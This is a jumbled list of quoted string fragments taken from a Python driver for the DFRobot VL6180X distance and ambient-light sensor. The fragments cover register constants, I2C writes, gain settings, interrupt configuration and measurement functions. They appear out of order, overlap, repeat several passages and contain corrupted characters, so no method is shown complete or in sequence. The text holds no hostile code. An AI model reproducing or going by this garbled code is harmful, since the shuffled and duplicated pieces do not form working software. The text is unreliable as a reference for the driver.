") -1 else: period_ms = 254 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD,period_ms]) ''' @brief Configure the interrupt",
"@param bus Set to IICBus @param addr Set to IIC addr ''' def",
"6 @n 40 times gain: VL6180X_ALS_GAIN_40 = 7 @return true :Set up the",
"ambient light @return return The light intensity,uint lux ''' def als_poll_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01])",
"else: period_ms = 254 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD,period_ms]) ''' @brief turn on interleaved mode '''",
"return result ''' @brief turn off interleaved mode ''' def __stop_interleave_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01])",
"-* \"\"\" file DFRobot_VL6180X.py # DFRobot_VL6180X Class infrastructure, implementation of underlying methods @copyright",
"@brief Configure the period for measuring light intensity @param period_ms Measurement period, in",
"of ambient light @return return The light intensity,uint lux ''' def als_poll_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8,",
"self.VL6180X_ALS_GAIN_2_5): self.__gain = 2.5 elif(gain == self.VL6180X_ALS_GAIN_1_67): self.__gain = 1.67 elif(gain == self.VL6180X_ALS_GAIN_1_25):",
"= 0x018 VL6180X_SYSRANGE_THRESH_HIGH = 0x019 VL6180X_SYSRANGE_THRESH_LOW = 0x01A VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD = 0x01B VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME =",
"def als_set_inter_measurement_period(self,period_ms): if(period_ms>10): if(period_ms<2550): period_ms = (period_ms/10) -1 else: period_ms = 254 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD>>8,",
"addr The IIC address to be modified ''' def set_iic_addr(self,addr): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_I2C_SLAVE_DEVICE_ADDRESS>>8, [self.VL6180X_I2C_SLAVE_DEVICE_ADDRESS,addr]) self.__i2c_addr",
"[0xad,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xff,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x00,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x99,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xa6,0x1b]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xac,0x3e]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xa7,0x1f])",
"0x06 VL6180X_MAX_CONV_ERR = 0x07 VL6180X_IGNORE_ERR = 0x08 VL6180X_MAX_S_N_ERR = 0x0B VL6180X_RAW_Range_UNDERFLOW_ERR = 0x0C",
"int((threshold_l * self.__gain)/0.32) value_h = int((threshold_h* self.__gain)/0.32) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_THRESH_LOW>>8, [self.VL6180X_SYSALS_THRESH_LOW,threshold_l>>8,value_l]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_THRESH_HIGH>>8, [self.VL6180X_SYSALS_THRESH_HIGH,threshold_h>>8,value_h]) ''' @brief",
"''' def clear_als_interrupt(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,2]) ''' @brief Single measurement of ambient light @return",
"''' @brief set IIC addr @param addr The IIC address to be modified",
"[0x07,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x02, [0x08,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x96,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x97,0xfd]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe3,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe4,0x04]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe5,0x02])",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_THRESH_LOW>>8, [self.VL6180X_SYSRANGE_THRESH_LOW,threshold_l]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_THRESH_HIGH>>8, [self.VL6180X_SYSRANGE_THRESH_HIGH,threshold_h]) ''' @brief Set ALS Threshold Value @param thresholdL :Lower",
"''' def als_config_interrupt(self,mode): if(mode > self.VL6180X_NEW_SAMPLE_READY): return False self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO]) value = self.__i2cbus.read_byte(self.__i2c_addr)",
"of the sensor VL6180X_ID = 0xB4 # 8 gain modes for ambient light",
"''' def __init(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET>>8, [self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET]) reset = self.__i2cbus.read_byte(self.__i2c_addr) if(reset): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x02, [0x07,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x02, [0x08,0x01])",
"= 254 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD,period_ms]) ''' @brief Configure the interrupt mode for ranging @param",
"return result ''' @brief set IIC addr @param addr The IIC address to",
"= 0x0F # GPIO1 mode selection VL6180X_DIS_INTERRUPT = 0 VL6180X_HIGH_INTERRUPT = 1 VL6180X_LOW_INTERRUPT",
"''' @brief Retrieve ranging data @return return ranging data ,uint mm ''' def",
"DFRobot_VL6180X: # IIC ADDR VL6180X_IIC_ADDRESS = 0x29 # The sensor register address VL6180X_IDENTIFICATION_MODEL_ID",
"[0xe7,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xf5,0x02]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xd9,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdb,0xce]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdc,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdd,0xf8]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x9f,0x00])",
"True ''' @brief Configure the default level of the INT pin and enable",
"OR value > thresh_high @n VL6180X_NEW_SAMPLE_READY :new sample ready ''' def als_get_interrupt_status(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO>>8,",
"gain: VL6180X_ALS_GAIN_1 = 6 @n 40 times gain: VL6180X_ALS_GAIN_40 = 7 @return true",
"= 0x040 VL6180X_RESULT_RANGE_STATUS = 0x04D VL6180X_RESULT_ALS_STATUS = 0x04E VL6180X_RESULT_INTERRUPT_STATUS_GPIO = 0x04F VL6180X_RESULT_ALS_VAL =",
"the sensor VL6180X_ID = 0xB4 # 8 gain modes for ambient light VL6180X_ALS_GAIN_20",
"= (a<<8) | b result = ((0.32*100*value)/(self.__gain*self.__atime)) return result ''' @brief Enable continuous",
"VL6180X_DIS_INTERRUPT = 0 VL6180X_HIGH_INTERRUPT = 1 VL6180X_LOW_INTERRUPT = 2 # als/range interrupt mode",
"ready ''' def als_get_interrupt_status(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO>>8, [self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO]) result = self.__i2cbus.read_byte(self.__i2c_addr) result = (result>>3) &",
"-1 else: period_ms = 254 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD,period_ms]) ''' @brief Configure the interrupt mode",
"= 1): self.__i2cbus = smbus.SMBus(bus) self.__i2c_addr = iic_addr self.__gain = 1.0 self.__atime =100",
"@param mode Enable interrupt mode @n VL6180X_INT_DISABLE interrupt disable @n VL6180X_LEVEL_LOW value <",
"& 0x07 return result ''' @brief Gets the interrupt state of the measured",
"Range Threshold Value @param thresholdL :Lower Threshold @param thresholdH :Upper threshold ''' def",
"@brief Gets validation information for range data @return Authentication information ''' def get_range_result(self):",
"= self.__i2cbus.read_byte(self.__i2c_addr) value = value | mode self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,value]) ''' @brief Configure the",
"= 0x01C VL6180X_SYSRANGE_EARLY_CONVERGENCE_ESTIMATE = 0x022 VL6180X_SYSRANGE_MAX_AMBIENT_LEVEL_MULT = 0x02C VL6180X_SYSRANGE_RANGE_CHECK_ENABLES = 0x02D VL6180X_SYSRANGE_VHV_RECALIBRATE =",
"VL6180X_FIRMWARE_RESULT_SCALER = 0x120 VL6180X_I2C_SLAVE_DEVICE_ADDRESS = 0x212 VL6180X_INTERLEAVED_MODE_ENABLE = 0x2A3 # The valid ID",
"set IIC addr @param addr The IIC address to be modified ''' def",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x9f,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xa3,0x3c]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xb7,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xbb,0x3c]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xb2,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xca,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01,",
"254 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD,period_ms]) ''' @brief Configure the interrupt mode for ranging @param mode",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_ANALOGUE_GAIN>>8, [self.VL6180X_SYSALS_ANALOGUE_GAIN,gain]) return True ''' @brief get the identifier of sensor @return Authentication",
"[self.VL6180X_SYSTEM_MODE_GPIO1,0x20]) elif(mode == self.VL6180X_HIGH_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x10]) elif(mode == self.VL6180X_LOW_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x30]) ''' @brief",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe5,0x02]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe6,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe7,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xf5,0x02]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xd9,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdb,0xce]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00,",
"Threshold @param thresholdH :Upper threshold ''' def set_als_threshold_value(self,threshold_l,threshold_h): value_l = int((threshold_l * self.__gain)/0.32)",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xff,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x00,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x99,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xa6,0x1b]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xac,0x3e]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xa7,0x1f]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00,",
"off interleaved mode ''' def __stop_interleave_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x00]) ''' @brief Gets",
"0x29 # The sensor register address VL6180X_IDENTIFICATION_MODEL_ID = 0x000 VL6180X_SYSTEM_MODE_GPIO0 = 0X010 VL6180X_SYSTEM_MODE_GPIO1",
"= 0x03A VL6180X_SYSALS_THRESH_LOW = 0x03C VL6180X_SYSALS_INTERMEASUREMENT_PERIOD = 0x03E VL6180X_SYSALS_ANALOGUE_GAIN = 0x03F VL6180X_SYSALS_INTEGRATION_PERIOD =",
"@brief Enable continuous ranging mode ''' def range_start_continuous_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) time.sleep(0.3);",
"40 times gain: VL6180X_ALS_GAIN_40 = 7 @return true :Set up the success, false",
"result = (result>>3) & 0x07 return result ''' @brief turn off interleaved mode",
"[0xe6,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe7,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xf5,0x02]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xd9,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdb,0xce]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdc,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdd,0xf8])",
"light @param mode Enable interrupt mode @n VL6180X_INT_DISABLE interrupt disable @n VL6180X_LEVEL_LOW value",
"self.__i2c_addr = iic_addr self.__gain = 1.0 self.__atime =100 ''' @brief Initialize sensor @param",
"INT low by default ''' def set_interrupt(self,mode): if(mode == self.VL6180X_DIS_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x20]) elif(mode",
"thresh_high @n VL6180X_NEW_SAMPLE_READY :new sample ready ''' def range_get_interrupt_status(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO>>8, [self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO]) result =",
"value > thresh_high @n VL6180X_NEW_SAMPLE_READY :new sample ready ''' def range_get_interrupt_status(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO>>8, [self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO])",
"reset = self.__i2cbus.read_byte(self.__i2c_addr) if(reset): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x02, [0x07,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x02, [0x08,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x96,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x97,0xfd]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00,",
"2.5 elif(gain == self.VL6180X_ALS_GAIN_1_67): self.__gain = 1.67 elif(gain == self.VL6180X_ALS_GAIN_1_25): self.__gain = 1.25",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x30,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_VHV_REPEAT_RATE>>8, [self.VL6180X_SYSRANGE_VHV_REPEAT_RATE,0xFF]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_VHV_RECALIBRATE>>8, [self.VL6180X_SYSRANGE_VHV_RECALIBRATE,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME>>8, [self.VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME,0x31]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD,0x31]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTEGRATION_PERIOD>>8,",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO]) value = self.__i2cbus.read_byte(self.__i2c_addr) value = value | mode self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,value]) '''",
"@param thresholdL :Lower Threshold @param thresholdH :Upper threshold ''' def set_range_threshold_value(self,threshold_l,threshold_h): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_THRESH_LOW>>8, [self.VL6180X_SYSRANGE_THRESH_LOW,threshold_l])",
"[self.VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME,0x31]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD,0x31]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTEGRATION_PERIOD>>8, [self.VL6180X_SYSALS_INTEGRATION_PERIOD,0x63]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD>>8, [self.VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD,0x30]) self.set_als_gain(self.VL6180X_ALS_GAIN_1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x20]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8,",
"clear_range_interrupt(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,1]) ''' @brief Clear the ambient light interrupt ''' def clear_als_interrupt(self):",
"elif(gain == self.VL6180X_ALS_GAIN_40): self.__gain = 40 gain =gain | 0x40 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_ANALOGUE_GAIN>>8, [self.VL6180X_SYSALS_ANALOGUE_GAIN,gain]) return",
"= 0x03E VL6180X_SYSALS_ANALOGUE_GAIN = 0x03F VL6180X_SYSALS_INTEGRATION_PERIOD = 0x040 VL6180X_RESULT_RANGE_STATUS = 0x04D VL6180X_RESULT_ALS_STATUS =",
"''' @brief Set ALS Threshold Value @param thresholdL :Lower Threshold @param thresholdH :Upper",
"mode selection VL6180X_DIS_INTERRUPT = 0 VL6180X_HIGH_INTERRUPT = 1 VL6180X_LOW_INTERRUPT = 2 # als/range",
"mm ''' def range_get_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_RANGE_VAL>>8, [self.VL6180X_RESULT_RANGE_VAL]) value = self.__i2cbus.read_byte(self.__i2c_addr) return value ''' @brief",
"= 0 VL6180X_ALS_GAIN_10 = 1 VL6180X_ALS_GAIN_5 = 2 VL6180X_ALS_GAIN_2_5 = 3 VL6180X_ALS_GAIN_1_67 =",
"0x04E VL6180X_RESULT_INTERRUPT_STATUS_GPIO = 0x04F VL6180X_RESULT_ALS_VAL = 0x050 VL6180X_RESULT_RANGE_VAL = 0x062 VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD = 0x10A",
"VL6180X_ALS_GAIN_5 = 2 @n 2.5 times gain: VL6180X_ALS_GAIN_2_5 = 3 @n 1.57 times",
"intensity @return return status @n 0 �?No threshold events reported @n VL6180X_LEVEL_LOW :value",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET>>8, [self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET,0]) ''' @brief Set Range Threshold",
"4 @n 1.27 times gain: VL6180X_ALS_GAIN_1_25 = 5 @n 1 times gain: VL6180X_ALS_GAIN_1",
"def range_config_interrupt(self,mode): if(mode > self.VL6180X_NEW_SAMPLE_READY): return False self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO]) value = self.__i2cbus.read_byte(self.__i2c_addr) value",
"interrupt enabled, INT high by default @n VL6180X_LOW_INTERRUPT GPIO1 interrupt enabled, INT low",
"IIC address to be modified ''' def set_iic_addr(self,addr): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_I2C_SLAVE_DEVICE_ADDRESS>>8, [self.VL6180X_I2C_SLAVE_DEVICE_ADDRESS,addr]) self.__i2c_addr = addr",
"of ambient light intensity mode ''' def als_start_continuous_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) time.sleep(1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7])",
"== self.VL6180X_ALS_GAIN_5): self.__gain = 5.0 elif(gain == self.VL6180X_ALS_GAIN_2_5): self.__gain = 2.5 elif(gain ==",
"address to be modified ''' def set_iic_addr(self,addr): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_I2C_SLAVE_DEVICE_ADDRESS>>8, [self.VL6180X_I2C_SLAVE_DEVICE_ADDRESS,addr]) self.__i2c_addr = addr '''",
"@n VL6180X_LEVEL_LOW :value < thresh_low @n VL6180X_LEVEL_HIGH :value > thresh_high @n VL6180X_OUT_OF_WINDOW :value",
"sensor configuration ''' def __init(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET>>8, [self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET]) reset = self.__i2cbus.read_byte(self.__i2c_addr) if(reset): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x02, [0x07,0x01])",
"2 # als/range interrupt mode selection VL6180X_INT_DISABLE = 0 VL6180X_LEVEL_LOW = 1 VL6180X_LEVEL_HIGH",
"else: period_ms = 254 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD,period_ms]) ''' @brief Configure the interrupt mode for",
"interrupt ''' def clear_als_interrupt(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,2]) ''' @brief Single measurement of ambient light",
"of the ranging @return return status @n 0 �?No threshold events reported @n",
"-1 else: period_ms = 254 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD,period_ms]) ''' @brief turn on interleaved mode",
"[self.VL6180X_SYSTEM_MODE_GPIO1,0x30]) ''' @brief A single range @return return ranging data ,uint mm '''",
"mode ''' def start_interleaved_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) time.sleep(1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x01])",
"= 1 @n 5 times gain: VL6180X_ALS_GAIN_5 = 2 @n 2.5 times gain:",
"information for range data @return Authentication information ''' def get_range_result(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_RANGE_STATUS>>8, [self.VL6180X_RESULT_RANGE_STATUS]) result",
"''' def range_get_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_RANGE_VAL>>8, [self.VL6180X_RESULT_RANGE_VAL]) value = self.__i2cbus.read_byte(self.__i2c_addr) return value ''' @brief Clear",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET>>8, [self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET,0]) ''' @brief Set",
"2010 DFRobot Co.Ltd (http://www.dfrobot.com) @licence The MIT License (MIT) @author [yangfeng]<<EMAIL>> @version V1.0",
"the value of gain(range 0-7) @n 20 times gain: VL6180X_ALS_GAIN_20 = 0 @n",
"gain: VL6180X_ALS_GAIN_5 = 2 @n 2.5 times gain: VL6180X_ALS_GAIN_2_5 = 3 @n 1.57",
"sample ready ''' def als_get_interrupt_status(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO>>8, [self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO]) result = self.__i2cbus.read_byte(self.__i2c_addr) result = (result>>3)",
"VL6180X_INT_DISABLE = 0 VL6180X_LEVEL_LOW = 1 VL6180X_LEVEL_HIGH = 2 VL6180X_OUT_OF_WINDOW = 3 VL6180X_NEW_SAMPLE_READY",
"[self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,value]) ''' @brief Enable continuous ranging mode ''' def range_start_continuous_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8,",
"return self.als_get_measurement() ''' @brief Obtain measured light data @return return The light intensity,uint",
"return False self.__init() return True ''' @brief Configure the default level of the",
"thresh_low @n VL6180X_LEVEL_HIGH :value > thresh_high @n VL6180X_OUT_OF_WINDOW :value < thresh_low OR value",
"= 0x0D VL6180X_Range_UNDERFLOW_ERR = 0x0E VL6180X_Range_OVERFLOW_ERR = 0x0F # GPIO1 mode selection VL6180X_DIS_INTERRUPT",
